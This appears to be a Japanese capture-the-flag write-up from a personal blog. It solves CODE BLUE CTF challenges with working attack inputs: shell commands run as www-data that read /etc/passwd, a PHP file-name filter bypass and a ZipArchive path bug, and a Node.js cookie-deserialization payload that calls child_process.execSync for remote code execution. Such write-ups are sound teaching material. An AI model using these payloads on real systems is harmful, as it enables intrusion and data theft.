  '\x62\x99\x64\x48\x89\xfd\x62\x15\xa8\x93\x3b\x28\x65\xce\x6c\xa2\xc0\x38\x80\xc9\xae\x45\xa8\x1f\x6e\xb8\xaa\x81\x08\xe6\x13\x57\xe3\x9b\xa8\xdc\x91\x9a\xff\xbb\x9a\x67\x37\x99\x73\x63\x52\x5c\xfd\xcf\x20\x6c\xd6\x88\xe8\x9a\x2f\xbf\x93\xa8\x5f\xc2\x01\x50\xd4\xd4\xf2\xfb\x96\x67\x35\x99\xdc\x6c\x79\xe8\x3c\xf5\x17\xa8\x28\x80\x66\x51\x14\xa8\x5f\xc5\x02\x5e\x98\x47\x57\x62\x85\x7c\xa4\xbf\x40\xfe\x75\x8c\x55\x96\x26\x89\xa1\x60\x12\x94\x5f\x76\x44\x97\x7a\x0a\x90\x28\xff\x41\x07\x08\x94\x3b\x0e\x61\x83\x73\x20\x96\x6f\xe9\x80\x75\x69\x9a\x31\xf4\xf5\x6a\x65\xa6\x5e\x17\x7b\x74\x5a\xf0\xfa\x3d\x3d\x96\xde\x5a\x81\xae\x6b\x97\xde\xd5\x11\x1c\xd0\x41\xbe\xfb\xae\xb7\x46\x63\x72\xa2\x1e\x67\x35\x4d\xf3\xef\x64\x2a\x78\x97\x89\xd3\x71\xc7\x82\xd1\x42\x58\x08\xbe\x40\x63\xe0\xd8\x90\x3e\x86\x59\x25\xf1\x5c\xf9\x13\xdc\x41\x9c\x95\x1a\xb5\x6c\xf8\xf3\xce\xd0\xad\x88\xfb\xac\xfd\x23\xe2\xe6\x26\x51\xa5\xcb\x23\x85\xcd\xfe\x89\x29\xab\x65\x74\xd1\xc6\x31\xf7\x24\x7b\x1f\xbf\x3c\x50\xa0\xd1\xe8\x13\x4a\xd6\x25\x1c\x44\xfd\x99\xad\xf3\xbe\xe6\x29\xb7\xf1\x94\x12\x52\x3a\xc2\x5a\x24\xef\x64\xc4\xe2\xa2\x78\x2b\x4a\x17\xf6\x5f\x54\x76\x81\xed\x57\xe6\x87\x49\xf2\xdf\x3e\x28\x0d\x6c\xae\x06\xed\xae\x4f\xc3\x6d\xee\xea\xee\x86\xa1\x42\x46\x52\x2f\x6b\xb5\x94\x1f\x88\xb7\xbc\x04\xe3\xfe\x83\x30\x22\x43\x9a\x03\x5d\xba\x3e\x32\x49\xa4\xa4\x47\x3d\xee\x2c\x5c\x91\x53\x7c\x9f\x74\x2c\x4e\x39\x8c\xc8\xd9\x09\xcb\x8f\xb3\x22\xf6\xf9\xe8\xff\xd1\x07\x3a\xd7\xee\xf6\x59\x82\xcc\xc2\xbe\xc9\x37\x13\xcb\x39\x37\x56\xea\x4c\xc2\x46\xac\xe3\x89\xe2\xe0\xcc\x25\x7d\x8b\x08\xf6\x11\x2b\x4d\x60\xd5\x2b\x6e\xae\x0d\x14\x8e\x9e\x69\x92\xa6\xfe\xd1\xc1\x8e\xc6\x36\xd6\x35\x44\xc5\x03\x56\xca\xdd\xbd\x4d\xe1\x9a\xee\xbe\x5d\x31\xf5\x26\x26\x29\x30\x0e\x37\xea\x28\xd2\x83\x03\xbb\xa0\x5b\x7f\x36\xd8\x81\x45\x83\x37\x6b\xf8\x55\x8f\x16\xf8\x53\x71\xd3\x8f\xa0\xea\x10\x13\xfd\xf4\x94\x31\x27\x4c\x30\xde\xd9\xbd\x78\x30\xf7\x8b\x84\x16\x66\xbd\x70\x3a\x4c\xd8\xb2\x7d\xb3\x13\xbf\xf8\xed\x4d\xeb\xeb\xea\x9d\x33\xae\xef\x5b\x94\xe9\x0c\xf7\xb3\x84\x87\x37\xf0\x5f\xa6\x65\x1e\x11\xcc\x84\x07\x21\x7a\x5a\x46\x14\x08\x01\xb7\xf2\xdb\x43\xf1\x59\x09\xd2\x4a\x5c\x08\x2d\x40\xaa\x43\x13\x2f\x1f\xf6\x5c\xac\x00\xf4\x78\xbb\xa1\x77\xd7\x78\x57\x6c\x10\x1d\xfc\xd2\x6f\x4e\x15\xcb\xfa\xf5\xee\x60\x2b\xc1\x10\x26\xb8\xed\xd9\xa7\x48\x3a\x4b\xa4\xe5\xcb\xcb\x12\x0c\xd1\x83\x99\xb5\x23\x4f\xd2\xa7\xb6\x1a\x38\x4d\x5c\x88\x01\x7a\x7b\xde\xb2\x95\xcc\xe5\x95\x35\xb7\x5f\xc7\x86\x39\xba\x04\xe5\xf7\xb6\xb3\x19\x5a\x45\x73\x7a\xe1\x70\x3a\x6a\xce\x8d\x8f\xe8\xb5\x0b\x53\xb3\xda\x01\xcd\x20\x3f\x30\xcb\x72\x75\x60\xd2\x90\xac\x3d\x1f\x20\x1e\x6c\xa0\x27\x42\xe1\x6f\xae\x48\x2c\xef\x0a\x0d\x0d\xe2\xe0\xdd\xe1\x47\x9d\x12\xcc\xbe\x4f\xf7\xdc\xb3\xcc\x78\x10\xde\xea\x29\xdf\xff\x00\x7d\xf5\x3f\x7f\xcb\x68\xf1\xaa\x8e\xca\xbb\xb9\xd0\xc8\xf0\x5f\x36\x89\x05\xdd\x4c\x0f\x42\xee\xd4\x30\xd4\xdc\xce\xcf\x09\xb0\x9b\x4d\x31\xec\x1b\xdb\xa8\x82\x3a\x29\x77\x29\xae\x35\x5a\x99\xbc\xad\xbe\x15\x53\x8f\x33\x57\x26\xcb\xf1\xff\xf5\x77\x96\xbf\x0f\x52\xc0\xda\xaf\x8c\x1d\x2d\x4f\x14\x31\xd7\x85\x70\xe7\xba\xf3\x12\xee\x07\x64\xe5\x55\xd8\x73\xa7\xe8\x11\x05\x2c\xc6\xe4\x7e\x75\x0a\x5b\x6a\x62\x6b\xcc\x51\x23\xb2\x65\x74\xf3\xf5\xec\x68\x72\xf3\xbc\x99\xab\x7b\xf5\x37\xc0\x91\xd2\x52\x99\x99\xd8\x4f\x20\x5f\x57\x39\x44\x86\x82\xd6\x8e\x18\xd1\xbb\x7b\x24\x9a\x71\x9f\x18\x02\xca\x91\xf4\xe6\x71\x1c\x16\xe1\x39\x0d\x63\x1f\x32\xbb\x6d\xc8\xe2\x83\x23\x20\x36\x39\x4c\x6b\x8e\x00\x50\x03\x9d\xae\x83\x6b\x0d\xb8\x67\x06\x34\xb2\x0b\xed\xd5\x47\x0e\x7c\xd0\xee\xa3\x17\xbf\xfb\x4d\x23\x04\x15\x4c\x54\xfa\xd6\x18\x0e\x50\x61\xb2\x89\xee\x07\x41\xdd\x79\x3b\x2f\xa5\xfa\xae\x56\x39\x54\xf2\xe9\xcd\x8d\xa7\x7e\x19\x1b\x05\x20\xb2\x45\xd8\x04\x33\xaa\xb7\x76\x25\x2d\x4b\xaf\x70\x3a\x70\xf1\x08\xbf\x5d\xc9\xa9\xaa\xf1\xfc\x16\x54\x10\x70\x2e\x58\x97\xb3\x39\x9a\x6d\x94\x43\xd9\xab\x03\x19\x42\x56\xf2\x31\x37\x7d\xa6\x56\x4e\xcc\x03\x79\x9b\xb3\xfb\xa7\xe6\xca\xe8\x50\xa9\x72\xfe\x51\x08\x9b\xcb\x3a\x6a\x33\x2a\xae\xba\xfa\xcf\x20\x0c\xd3\x35\x94\xaa\x63\x96\x8e\x73\x78\x4d\x61\xd6\x7d\x9f\x55\x22\x27\x7b\x88\x7c\xe5\x51\xe4\x17\x8f\xcb\x36\x4b\x70\xd9\x23\x7c\xf2\xfc\x97\x19\xed\xdc\xc2\xce\xd5\xb2\x42\x61\x4d\xb4\x5a\x3d\x94\x71\x2f\x3b\x64\xd2\x66\x79\x1e\x6e\x9d\xe4\xe9\x7d\x69\x70\x48\x56\x04\xba\x35\x81\x05\x3a\xc0\x04\x24\x48\x9a\x44\xd5\x14\xd3\xdf\x06\x48\xe0\xbb\xb5\xb7\x77\xf5\xbf\x33\xc5\x01\x8e\xeb\x66\x60\x24\xd1\x7c\xe7\xec\x48\xe3\x63\xcf\x8b\xab\x6c\x93\xa2\x88\xa0\x47\x50\xf4\xcf\xd2\x12\xb0\x6e\x20\x22\xcc\x86\xd6\xbc\x0c\xe2\x4a\x99\xb8\x48\xd1\x1c\xf9\x4a\x7d\x0f\x7d\x82\x45\x0a\x41\xff\xc7\x21',
  '\xac\x3b\x5b\xa0\xa1\xc4\x71\x55\x6d\x55\xa0\x0d',
  '\xa7\x05\xd3\x10\xcf\x6d\x3e\x7f\xcb\x42\xa9\x6e\xb7\xd8\x60\x37\xfb\x4a\xa1\x14\x83\x19\xe1\x8f\x17\x5a\x61\xfb\x0b\x98\x35\xb7\x66\x2c\xa7\xde\x3b\x5c\x69\x89\x01\xb9\x48\xde\xab\x75\x1e\x38\x99\x5e\x76\xd8\xee\x1d\x85\x22\x63\x9a\x2b\xa2\xd7\x6b\x89\x30\x04\x1a\x54\x96\x90\xc1\x8e\x9a\xa5\x87\x4a\x53\xdc\x83\x34\x58\x03\xde\x8b\x15\xb7\x2e\x96\x35\x26\xa5\x59\xcd\x27\xbc\x52\x47\xa0\x1b\xe3\x30\x77\xa1\x4c\x8f\x69\x01\x65\x49\xb0\x5e\x5c\xa1\x2e\x6a\xd4\xd5\x14\x8b\xe4\xbd\x3e\x2a\x92\x19\x47\x07\x4d\x59\x63\x37\x65\xcb\x75\x9c\x73\xd0\xf1\xa6\xae\xaf\x7a\xf1\xbc\x7c\x33',
  '\x66\xa0\xc4\xe8\x17\xd6\xb9\x88\x5f\xcd\x50\x8e\x86\x05\x9a\x2b\xce',
  '\x35\x17\xb5\xe0\x9d\xce\xfc\x4a\xd5\x0b\x99\xef\x64\x41\x51\x03\xbd\xf6\xc3\x09\xb7\x10\x11\xb0\x07\x76\x32\x03\xdf\x4c\x03\x23\xb7\x83\xb9\x98\x79\xa4\x7d\x3e\x5a\x09\x4b\x55\xb6\xd4\x89\x60\x28\x49\xff\x00\xf8\xf6\xa6\xcc\xbb\x96\xc0\x71\x49\xb5\x5d\xed\x57\x8b\x07\x69\x2a\xd1\x3b\x2e\xa2\x62\x93\x98\x1e\x70\xe0\x55\xe6\x92\x61\x7f\x78\x0b\x4d\x84\xc6\xc2\x2a\x23\x4a\x39\x88\x2b\xf8\x13\x76\x86\x64\x80\x47\x33\x76\x9c\x00\xd9\x98\x0d\x92\x19\x93\x15\x0b\x80\xad\x15\x2e\x6c\x2d\x1b\xd0\xf8\x15\x2f\x6b\xbc\xd2\x99\x4b\xac\xe2\x6e\x32\xd8\x68\x95\x03\x1b\xf5\xf1\xc4\xeb\x18\xc3',
  '\x5b\x7c\xae\x1a\x19\x88\x75\x7e\xab\x08\x6f\x1e\xaa\x04\x0e\x0d\xff\x7c\x0e\xef\xd0\x79\x8e',
  '\x38\x22\xd8\x99\xe8\x7b\x5e\x3a\x34\x88\xc8\x14\x7d\xc0\xac\x7c\xdb\x6f\x66\x69\xd1\x3e\x48\x69\x68\x62\x19\xb0\x62\xe7\x54\x93\x1f\xa5\xaf\x19\x64\x73\x26\xe2\xc1\x03\x55\xbb\x43\x97\xb6'
]

CODE_EA = '\xc7\x47\x04\x00\x00\x00\x00\xc7\x07\x00\x00\x00\x00\x31\xc0\x90\x88\x44\x07\x08\x48\x83\xc0\x01\x48\x3d\x00\x01\x00\x00\x75\xf0\x31\xc0\x31\xd2\x0f\x1f\x40\x00\x44\x0f\xb6\x44\x07\x08\x48\x89\xc1\x83\xe1\x1f\x45\x89\xc2\x44\x02\x14\x0e\x44\x89\xd1\x01\xca\x0f\xb6\xca\x44\x0f\xb6\x4c\x0f\x08\x48\x89\xca\x44\x88\x4c\x07\x08\x48\x83\xc0\x01\x44\x88\x44\x0f\x08\x48\x3d\x00\x01\x00\x00\x75\xc6'
CODE_15A = '\x48\x85\xd2\x4c\x8d\x14\x16\x74\x47\x0f\x1f\x80\x00\x00\x00\x00\x8b\x07\x8b\x57\x04\x83\xc0\x01\x0f\xb6\xc0\x89\x07\x0f\xb6\x4c\x07\x08\x01\xca\x0f\xb6\xd2\x89\x57\x04\x44\x0f\xb6\x4c\x17\x08\x44\x88\x4c\x07\x08\x88\x4c\x17\x08\x02\x4c\x07\x08\x0f\xb6\xc9\x0f\xb6\x44\x0f\x08\x30\x06\x48\x83\xc6\x01\x49\x39\xf2\x75\xc0'
ADDRESS = 0x400000

RBX = ADDRESS + 0x1000
RAX = RBX
RSP = ADDRESS + 0x2000
RBP = RSP

mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
mu.mem_write(RBX, urandom)
mu.mem_write(ADDRESS + 0xea, CODE_EA)
mu.mem_write(ADDRESS + 0x15a, CODE_15A)

mu.reg_write(UC_X86_REG_RBP, RBP)
mu.reg_write(UC_X86_REG_RSP, RSP)
mu.reg_write(UC_X86_REG_RBX, RBX)

mu.reg_write(UC_X86_REG_RDI, RBP)
mu.reg_write(UC_X86_REG_RSI, RBX)
mu.emu_start(ADDRESS + 0xea, ADDRESS + 0xea + len(CODE_EA))

for line in encrypted:
  mu.mem_write(RBX, line)
  mu.reg_write(UC_X86_REG_RDI, RBP)
  mu.reg_write(UC_X86_REG_RSI, RBX)
  mu.reg_write(UC_X86_REG_RDX, len(line))
  mu.emu_start(ADDRESS + 0x15a, ADDRESS + 0x15a + len(CODE_15A))
  print mu.mem_read(RBX, len(line))
$ python2 solve.py
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

pwd
/usr/lib/cgi-bin

ls -la
total 24
drwxr-xr-x  2 root root  4096 May 26 02:39 .
drwxr-xr-x 52 root root  4096 May 26 02:39 ..
-rwxrwxr-x  1 root root 13704 Apr 18 01:11 index.cgi

echo 'pwned! yay!'
pwned! yay!

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false

ls -la /
total 80
drwxr-xr-x  67 root root 4096 May 26 03:04 .
drwxr-xr-x  67 root root 4096 May 26 03:04 ..
-rwxr-xr-x   1 root root    0 May 26 03:00 .dockerenv
drwxr-xr-x   2 root root 4096 May 26 02:39 bin
drwxr-xr-x   2 root root 4096 Apr 12  2016 boot
drwxr-xr-x  15 root root 3780 May 26 03:00 dev
drwxr-xr-x 116 root root 4096 May 26 03:00 etc
drwxr-xr-x   4 root root 4096 May 26 02:39 home
drwxr-xr-x  15 root root 4096 May 26 02:39 lib
drwxr-xr-x   2 root root 4096 May  2 08:41 lib32
drwxr-xr-x   2 root root 4096 May  2 08:39 lib64
drwxr-xr-x   2 root root 4096 Feb 14 23:28 media
drwxr-xr-x   2 root root 4096 Feb 14 23:28 mnt
drwxr-xr-x   2 root root 4096 Feb 14 23:28 opt
dr-xr-xr-x 174 root root    0 May 26 03:00 proc
drwx------  11 root root 4096 May 26 03:04 root
drwxr-xr-x   9 root root 4096 May 26 03:00 run
drwxr-xr-x   2 root root 4096 May 26 02:39 sbin
drwxrwxr-x   5 1000 1000 4096 May 26 03:04 share
drwxr-xr-x   2 root root 4096 Feb 14 23:28 srv
dr-xr-xr-x  13 root root    0 May 24 07:44 sys
drwxrwxrwt   2 root root 4096 May 26 03:00 tmp
drwxr-xr-x  27 root root 4096 May 26 02:39 usr
drwxr-xr-x  21 root root 4096 May 26 03:00 var

ls -la /home
total 12
drwxr-xr-x  4 root root 4096 May 26 02:39 .
drwxr-xr-x 67 root root 4096 May 26 03:04 ..
drwxr-xr-x  2 root root 4096 May 26 02:39 user

ls -la /home/user
total 12
drwxr-xr-x 2 root root 4096 May 26 02:39 .
drwxr-xr-x 4 root root 4096 May 26 02:39 ..
-rw-rw-r-- 1 root root   47 May 26 02:38 flag.txt

cat /home/user/flag.txt
CBCTF{7RAcKINg_H4ckERs_f00tPrINTs_i5_excItING}

フラグが得られました。

CBCTF{7RAcKINg_H4ckERs_f00tPrINTs_i5_excItING}

[Web 289] CODE BLUE Snippet

以下のようなソースコードが与えられました。

index.php

<?php
include('config.php');
if (file_exists($USER_DIR . '/is_admin')) {
  exit($FLAG);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CODE BLUE Snippet</title>
    <link href="http://fonts.googleapis.com/css?family=Orbitron" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.31.0/codemirror.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.31.0/codemirror.js"></script>
	...
</head>
<body>
    <h1>CODE BLUE Snippet</h1>

    <a href="export.php?dir=<?=$USER_DIR?>">Export</a>
    <span>&nbsp;|&nbsp;</span>
    <a href="<?=$USER_DIR?>">Your files</a>
    <hr>

    <h2>Import</h2>
    <form action="import.php?dir=<?=$USER_DIR?>" enctype="multipart/form-data" method="POST">
        <input type="file" name="file">
        <input type="submit" value="Import">
    </form>
    <hr>

    <h2>Post</h2>
    <form action="post.php" method="POST">
        <p><input type="text" name="filename" placeholder="filename"></p>
        <p><textarea id="code" name="contents"></textarea></p>
        <div class="btns">
            <input type="submit" value="Create Snippet">
        </div>
    </form>

    <script>
        CodeMirror.fromTextArea(document.getElementById('code'), {lineNumbers: true});
    </script>
</body>
</html>

post.php

<?php
include('config.php');

$filename = strtolower($_POST['filename']);
if ($filename == 'is_admin' || preg_match('/\./', $filename)) {
  die('Hello hacker :)');
}

@mkdir($USER_DIR);
file_put_contents($USER_DIR . '/' . basename($_POST['filename']), $_POST['contents']);

header('Location: /');

好きなファイル名 (is_admin 以外) でスニペットを作成できるサービスのようです。制限を回避して、is_admin というファイル名のスニペットが作成できればフラグが得られるようです。

ファイル名のチェック部分は $filename == 'is_admin' || preg_match('/\./', $filename) というようになっています。/is_admin をファイル名に入力するとこのチェックに引っかからず is_admin というファイルを作成でき、フラグが得られました。

CBCTF{plz fix PHP Bug #72374}

…というのは想定解法ではなかったようで、この解法が通らないように修正が行われ、フラグが公開された上で改めて問題の公開がされました。

作成したスニペットを zip でエクスポート、また作成された zip をインポートする機能もあるようなのでコードを見ていきましょう。

export.php

<?php
include('config.php');

$tmpfile = tempnam('/tmp', 'cbs');

if (preg_match('/\.|\\\\|^\//', $_GET['dir']) === 1) {
  die('hello hacker :(');
}

$zip = new ZipArchive();
$zip->open($tmpfile, ZipArchive::CREATE);
$options = array('remove_path' => $_GET['dir']);

$dir = trim($_GET['dir'], '/');
$zip->addGlob($dir . '/*', 0, $options);

$zip->close();

$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);
header("Content-Disposition: attachment; filename='${hmac}.zip'");
readfile($tmpfile);

unlink($tmpfile);

import.php

<?php
include('config.php');

$tmpfile = $_FILES['file']['tmp_name'];
$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);
if ($_FILES['file']['name'] !== "${hmac}.zip") {
  die('hello hacker :)');
}

$zip = new ZipArchive();
$zip->open($tmpfile);
$zip->extractTo($USER_DIR);

$zip->close();

header('Location: /');

インポート/エクスポート機能を使わず is_admin というファイルが含まれる zip を作れるか考えてみましょう。import.php に zip が正当なものであるか検証している処理があります。zip のファイル名はファイルの MAC 値である必要があり、秘密鍵が分からないため難しそうです。

元のフラグにある PHP Bug #72374 でググってみると以下のページが見つかりました。

ZipArchive::addGlob の実装に問題があり、どうやら remove_path オプションを指定した際にパスが 1 文字余計に削除されてしまうようです。

export.php では remove_path オプションに $_GET['dir'] をそのまま渡しています。ais_admin というファイル名のスニペットを作成し、/export.php?dir=(ディレクトリ名)/ にアクセスすると is_admin というファイルが含まれる zip が生成されました。

これをインポートするとフラグが得られました。

CBCTF{sorry-we-had-a-pitty-bug;;}

[Web 399] SSR

与えられた URL にアクセスすると、ユーザ名を入力するログインフォームが表示されました。

適当に入力してログインすると、Get a new idol! というボタンが表示されました。クリックすると [SSR] Uzuki [SR] Rin [R] Mio のようにアイドルが排出されました。どうやらこれは無限にガチャが引けるアプリケーションのようです。

もう少し詳しく見ていきましょう。/idols から排出されたアイドルの一覧を見ることができ、出た順番に /idols/0 /idols/1 /idols/2 … という感じのリンクになっています。

最初の [SSR] Uzuki (/idols/0) をクリックすると、voice 1 (/idols/0/say1)、voice 2 (/idols/0/say2)、voice 3 (/idols/0/say3) の 3 つのリンクが表示されました。クリックするとそれぞれ Hello, This is uzuki! Nice to meet you.What are you doing??? のようにメッセージが表示されました。

ユーザ名に hoge を入力してログイン、[SR] Mio [R] Mio [SSR] Uzuki が出ている状態で Cookie を確認すると、以下のようになっていました。

名前
username hoge
idols [{“key”:[“sr”,”2”]},{“key”:[“r”,”0”]},{“key”:[“ssr”,”0”]}]

idols[{"key":["r","0"]},{"key":["ssr","1"]}] に変更して更新してみると、以下のようなエラーが表示されました。

TypeError: idolClass is not a constructor
    at generateIdol (/usr/local/ssr/build/server.js:145:10)
    at /usr/local/ssr/build/server.js:172:12
    at Array.map (<anonymous>)
    at unserializeIdols (/usr/local/ssr/build/server.js:169:20)
    at new Idols (/usr/local/ssr/build/server.js:748:42)
    at /usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:292:18
    at measureLifeCyclePerf (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:73:12)
    at ReactCompositeComponentWrapper._constructComponentWithoutOwner (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:291:16)
    at ReactCompositeComponentWrapper._constructComponent (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:282:19)
    at ReactCompositeComponentWrapper.mountComponent (/usr/local/ssr/node_modules/react-dom/lib/ReactCompositeComponent.js:185:21)

どうやらサーバーサイドレンダリングが行われているようです。

unserializeIdols で Cookie をアンシリアライズしているようなので、public/clients.js から該当する部分を抜き出してみましょう。

/***/ }),
/* 113 */
/***/ (function(module, exports, __webpack_require__) {

// ...

var _idolDatabase = __webpack_require__(246);

var _idolDatabase2 = _interopRequireDefault(_idolDatabase);

// ...

var generateIdol = function generateIdol(key) {
  var _key = _slicedToArray(key, 2),
      rarity = _key[0],
      idolNo = _key[1];

  var idolClass = _idolDatabase2.default[rarity][idolNo];
  return new idolClass(key);
};

// ...

var unserializeIdols = exports.unserializeIdols = function unserializeIdols(idolsData) {
  if (!idolsData) {
    return [];
  }

  return idolsData.map(function (_ref) {
    var key = _ref.key;

    return generateIdol(key);
  });
};

Cookie を配列として、各要素について _idolDatabase2.default[(1 番目の要素、レアリティ)][(2 番目の要素、アイドルの ID)] でアイドルのクラス (idolClass) を読み出して new でインスタンスを生成しているようです。

idolClass の例を見てみましょう。

/***/ }),
/* 246 */
/***/ (function(module, exports, __webpack_require__) {
	
// ...

var Idol = function () {
  function Idol(key) {
    _classCallCheck(this, Idol);

    this.image = '/public/images/idol1.png';

    this.key = key;
  }

  _createClass(Idol, [{
    key: 'say1',
    value: function say1() {}
  }, {
    key: 'say2',
    value: function say2() {
      return 'What are you doing???';
    }
  }, {
    key: 'say3',
    value: function say3() {
      return 'Sorry, this voice is not implemented yet.';
    }
  }]);

  return Idol;
}();

var SSRUzuki = function (_Idol) {
  _inherits(SSRUzuki, _Idol);

  function SSRUzuki() {
    var _ref;

    var _temp, _this, _ret;

    _classCallCheck(this, SSRUzuki);

    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    return _ret = (_temp = (_this = _possibleConstructorReturn(this, (_ref = SSRUzuki.__proto__ || Object.getPrototypeOf(SSRUzuki)).call.apply(_ref, [this].concat(args))), _this), _this.image = '/public/images/idol1.png', _this.name = '[SSR] Uzuki', _temp), _possibleConstructorReturn(_this, _ret);
  }

  _createClass(SSRUzuki, [{
    key: 'say1',
    value: function say1() {
      return 'Hello, This is uzuki! Nice to meet you.';
    }
  }]);

  return SSRUzuki;
}(Idol);

// ...

var idolDatabase = {
  ssr: [SSRUzuki],
  sr: [SRUzuki, SRRin, SRMio],
  r: [RUzuki]
};

exports.default = idolDatabase;

アンシリアライズの処理を利用して任意コード実行に持ち込めないか考えてみましょう。

オブジェクトは constructor というプロパティにコンストラクタ関数を持ちます。

_idolDatabase2.default はオブジェクトなのでこの constructorObject です。ObjectconstructorFunction です。

これを利用して [{"key":["constructor","constructor"]}] を Cookie にセットすると、出てきたアイドルの一覧に anonymous というアイドルが表示されました。(new Function).nameanonymous になるので、どうやらサーバ側で Function のインスタンスを作ることができたようです。

Functionnew Function('return 1') のようにコンストラクタとして呼び出すことで関数を作ることができます。Cookie のアンシリアライズを行う際に new idolClass(key) という感じで配列をそのまま渡しているので、文字列に変換されて最終的に new Function('constructor,constructor') というように関数が作られているはずです。

なので、[{"key":["constructor","constructor","1;return 123"]}] を Cookie にセットすることで、呼び出すと 123 が返ってくる関数が作られるはずです。

さて、作られた関数を呼び出すにはどうすればいいのでしょうか。

アイドルのメッセージを表示する部分の処理を抜き出してみます。

  _createClass(Idol, [{
    key: 'render',
    value: function render() {
      var _props$match$params = this.props.match.params,
          id = _props$match$params.id,
          action = _props$match$params.action;
      var cookies = this.props.cookies;

// ...

      var idolAction = action || 'say1';
      if (!idol[idolAction]) {
        return _react2.default.createElement(
          'div',
          null,
          'Invalid Action!!'
        );
      }

// ...

          _react2.default.createElement(
            'p',
            null,
            idol[idolAction]()
          ),

// ...

  }]);

/idols/(アイドルの ID)/(メソッド名) という感じで、指定したアイドルの好きなメソッドを呼び出すことができるようです。

関数は call というメソッドで呼び出すことができます。これを利用して、[{"key":["constructor","constructor","1;return 'hoge'"]}] を Cookie にセットして /idols/0/call にアクセスすると hoge と表示されました。

最後に OS コマンドを実行してみましょう。[{"key":["constructor","constructor","1;return process.mainModule.require('child_process').execSync('cat flag')"]}] を Cookie にセットして /idols/0/call にアクセスするとフラグが得られました。

CBCTF{server_side_render1ng_1s_Soo_fun}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳